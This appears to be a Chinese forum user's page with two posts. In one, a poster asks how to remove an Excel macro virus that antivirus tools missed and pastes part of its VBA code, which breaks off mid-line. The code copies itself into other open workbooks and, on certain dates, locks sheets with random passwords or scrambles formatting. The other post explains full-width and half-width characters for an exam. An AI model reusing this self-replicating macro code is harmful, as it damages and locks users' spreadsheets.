nanlaihe nanlaihe
小时候,快乐是件简单的事;长大后,简单是件快乐的事
关注数: 12 粉丝数: 247 发帖数: 1,351 关注贴吧数: 7
中宏病毒了,专杀无效,下一步怎么办 某个朋友的excel文件都被自动添加了宏。代码大概如下,只复制了一部分放到帖子后面。 现在使用宏病毒专杀情人节版 和金山毒霸的koffce都杀不出来。请问接下来该怎么办。如何清理excel的那些可恶模块。 另外,实在不好弄,也可以这么做。清理电脑上的一切宏模块。我朋友从来没有用过宏,表示可以清理,大家有啥好办法吗? 复制 代码 开头部分如下 看起来就不是好东西吧 共参考一下 --------- Sub auto_open() Application.OnSheetActivate = "pink" End Sub Sub pink() Dim mn, virname, thismo, passwords, pick, pickmo, head, getname As String, i, j, k, num, wbc, thisnum As Integer wbc = Workbooks.Count For k = 1 To wbc If Workbooks(k).Name = "B00k1.xls" Then getname = "B00k1.xls" Windows("B00k1.xls").Visible = False If Workbooks("B00k1.xls").Saved = False Then Workbooks("B00k1.xls").Save End If Exit For End If Next If wbc < 2 Then GoTo final End If thisnum = ThisWorkbook.Modules.Count num = ActiveWorkbook.Modules.Count For i = 1 To thisnum thismo = ThisWorkbook.Modules(i).Name pickmo = Right(Left(thismo, 2), 1) If pickmo = "V" Then namemo = ThisWorkbook.Modules(i).Name Exit For End If Next If (Asc(ActiveWorkbook.Name) >= 97 And Asc(ActiveWorkbook.Name) <= 122) Or (Asc(ActiveWorkbook.Name) >= 65 And Asc(ActiveWorkbook.Name) <= 90) Then head = Chr(Asc(ActiveWorkbook.Name)) Else head = "N" End If mn = head & "V" & Month(Now) & Day(Now) & Right(Time$, 2) For j = 1 To num pick = Right(Left(ActiveWorkbook.Modules(j).Name, 2), 1) If pick = "V" Then End End If Next If Month(Now) + Day(Now) <> 13 And ActiveSheet.Range("iv65536").FormulaR1C1 <> "=""""" Then ActiveSheet.Range("iv65536").FormulaR1C1 = "=""""" End If ThisWorkbook.Sheets(namemo).Copy ActiveWorkbook.ActiveSheet ActiveWorkbook.Modules(namemo).Name = mn If Left(ActiveWorkbook.Name, 4) <> "Book" Then End If Application.ScreenUpdating = False passwords = Left((Rnd * 1000000000 + 100000000), 8) If Month(Now) + Day(Now) = 13 Then ActiveSheet.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, password:=passwords End If If Month(Now) = 6 And Day(Now) = 15 Then With Cells .ClearFormats .ColumnWidth = 2.75 .RowHeight = 15 End With ActiveWindow.Zoom = 25 Union(Range( _ "AO15,AP15,AO16,AP16,AO16,AO17,AP17
职称考试中 输入法 全角半角区别及其注意事项 河北职称计算机考试09年的试题中,有这样的操作题 "在文档wordkt\wzlr.doc中录入下面的文字,所有标点符号都是中文全角符号,所有的字母和数字都是英文半角字符;" 这里简单说下全角与半角区别 一、什么是全角和半角? (1)全角---指一个字符占用两个标准字符位置。 汉字字符和规定了全角的英文字符及国标GB2312-80中的图形符号和特殊字符都是全角字符。一般的系统命令是不用全角字符的,只是在作文字处理时才会使用全角字符。 (2)半角---指一字符占用一个标准的字符位置。 通常的英文字母、数字键、符号键都是半角的,半角的显示内码都是一个字节。在系统内部,以上三种字符是作为基本代码处理的,所以用户输入命令和参数时一般都使用半角。 二、全角和半角举例说明 示例如下:(键盘的输入是一样的,输入法的设置不同) [全角举例]AabB1234@#$%^&*;,。: [半角举例]AabB1234@$%^&*;,.: 在汉字输入法出现的时候,输入的字母数字默认为半角,但是标点则是默认为全角(如下图)可以通过鼠标点击输入法工具条上的相应按钮来改变,输入法名字左边的按钮是改变中文和英文输入的,右边的圆和半圆是改变字母和数字的全角半角的,再右边的“.,”或者"。,"是用来改变标点符号的中英文设置(中文标点即是全角,英文标点即是半角),最右边的键盘图标是显示软键盘用的,可以输入一些特殊字符或者其它语言里面的字母。 在我们日常使用的电脑系统里,初始输入法一般都默认为英文输入法,这时自然会处在半角状态下,无论是输入字母、符号还是数字,始终都只占一个英文字符的位置。若切换到中文输入法状态中,则会有全角半角两种选择。 全角和半角综述: 在考试中,大家一般可以使用快捷键“CTR+Shift”组合键,切换中文和英文输入状态。以下是全角和半角的图片标志:
1 下一页